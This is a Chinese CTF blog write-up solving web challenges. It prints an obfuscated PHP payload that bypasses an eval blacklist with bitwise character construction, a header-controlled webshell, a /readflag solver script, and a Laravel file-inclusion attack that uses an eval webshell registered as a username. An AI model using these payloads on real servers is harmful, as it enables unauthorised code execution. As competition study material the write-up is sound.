Author:颖奇L’Amore

Blog:www.gem-love.com

本次比赛只帮战队solve了一个题,太菜了,然后calc的solve数比较多,本来不打算写wp了,这几天抽时间研究了一下其他题目,所以简单写一写。


calc

改编自RoarCTF2019的Easy Calc,访问calc.php拿到源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

过滤了英文字符和[\x-7f-\xff]以及一些符号,虽然取反没ban但也是不可以的,本题的思路是通过& |等位运算构造任意字符。

获得数字字符

我们可以得到任意数字,(1)仍是int,但是如果((1).(2)) (注意需要套一个括号否则出错)就会得到字符串“12”

之后再通过字符串截取即可得到单字符,PHP中可以使用大括号来完成,也是按照惯例,第一个字符编号是0,第二个是1,以此类推

获得部分字符

通过NAN INF以及科学计数法可以获得INAFE这5个字母,这样得到:

但是得到的是float类型,同样使用大括号截取并不能得到对应的单字符,反而会报错并返回NULL

那我们还可以通过刚刚的方法,让两个数字做点运算然后加上括号包裹,再用{}截取,即可:

获得更多字符

现在我们有了几个英文字符、数字等,让他们互相做位运算即可得到更多字符,然后再把得到的更多字符再位运算又能得到更更多的字符。基本思路就是这样,具体操作起来可以先来参考一下杭电Vidar-Team的E99p1ant师傅的脚本:


$char = '[email protected]+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
    for($j = 0; $j < strlen($char); $j++){
        echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
        echo("<br>");
        echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
        echo("<br>");
    }
}

这可以构造出一个表,主要是什么和什么位运算能得到什么,根据这个表我手工构造了大概10个左右的字符,然后把他们加进数组,再foreach()互相位运算,基本需要的东西就够用了。

但是_和T是构造不出的,eval()在这种环境下也不能用,直接用E99p1ant师傅的扫目录Payload扫到了根目录下的readflag,但是构造PHPINFO发现并没有disable_function,所以应该就是构造一个系统命令执行,Payload:

(((((((2).(0)){0}){0})|(((0/0).(0)){1}))).(((1).(2)){0}|((1/0).(0)){0}).((((((2).(0)){0}){0})|(((0/0).(0)){1}))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))).(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))))((((((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999999).(1)){1}))))))).(((((((2).(0)){0}){0})|(((0/0).(0)){1})))&(((2).(1)){0}|((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))&(((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).(((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))&(((1/0).(0)){1}|((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))).(((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})))))

打过去就是执行readflag,但是发现了一个祖传老考点,就是需要solve一个计算

这个之前在2019 *CTF包括前几天的De1CTF等都有出现,这东西实际上是运行在系统上,有几种解决办法,比如trap等等,但是前提是先获得一个交互式shell,于是我又构造了反弹shell结果没成功,去问了管理员说是靶机不能出网

还可以用php或者perl的exp一键打,但是Payload比较长,所以我们必须要构造一个webshell,弄一个可控参数,然后把我们的Payload放上去,于是很容易想到了这样的格式:

system(end(getallheaders()))

因为header可控,题目环境是Apache,就可以执行任意命令了。然后用这个脚本一键打:

<?php 
$d = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/error.log", "a")
);

$cwd = "/";
$env = array();

$process = proc_open("/readflag", $d, $pipes, $cwd, $env);
if (is_resource($process))
{
    $d = fread($pipes[1], 1024);
    $d = fread($pipes[1], 1024);
    $d = explode("\n", $d);
    eval("\$result = $d[0];");
    eval("\$result = $d[0];");
    fwrite($pipes[0] , "$result\n");
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    fclose($pipes[0]);
    fclose($pipes[1]);
    $r = proc_close($process);
    echo "result $r\n";
}

转base,然后|base64 -d|php即可执行,或者直接用php来eval(base64_decode())也可以,即可得到flag:


PWN-BEST PHP

这题分web和pwn两部分,拿到so扩展之后交给队友去pwn了,被队友一通喷

我就写下web部分的解题思路吧,但是有可能是非预期的解法

Laravel框架,登录后在/file得到源码:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {
        return view('home');
    }

    public function file(Request $request)
    {
        $file = $request->get('file');

        if (!empty($file)) {
            if (stripos($file, 'storage') === false) {
                include $file;
            }
        } else {
            return highlight_file('../app/Http/Controllers/HomeController.php', true);
        }

    }

    public static function weak_func($code)
    {
        eval($code);
        // try try phpinfo();
        // scandir may help too
    }
}

可以发现有文件包含,就可以用伪协议读源码,包含一下Laravel框架的环境变量配置文件.env,从中得到了sqlite的位置:

我们知道SQLite是个无服务零配置的数据库,他的数据保存在文件内,和Mircosoft Access类似,然后我们得到了数据库文件的路径,于是伪协议读取一下:

可以发现我们的用户名和邮箱都能明文完整显示出来,而且用户名无限制,所以就注册一个php的一句话木马,然后去包含数据库文件即可。

然而包含出现了500Error,检测一下发现有弱智写php一句话时候没用?>闭合语句,导致了执行出错。这里肯定卡住了非常多人。

还有人因为包含不成功去要求管理员删库的:

实际上根本没有必要,因为看数据库发现新注册的账户实际上是在最上面的,所以只要写个注释把后面注释了就可以了,用多行注释后面的php语句不会执行,所以有错也不会造成500:

所以注册如下用户名即可getshell:

<?php eval($_GET[9]);/* ?>

用我这个方法,任何时间,任何地点,都可以直接getshell

然后把so文件下载下来去交给队友pwn。稳定的webshell是必要的,因为pwn完还要拿来交互。


Swoole

非常绕,今天研究了一天,推荐直接看开心师傅的文章:

https://www.mrkaixin.top/posts/fbd7e4e1/#4-2-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90%E3%80%82

kaixin师傅写的比较明白了,我就不重新写一遍了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2373.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image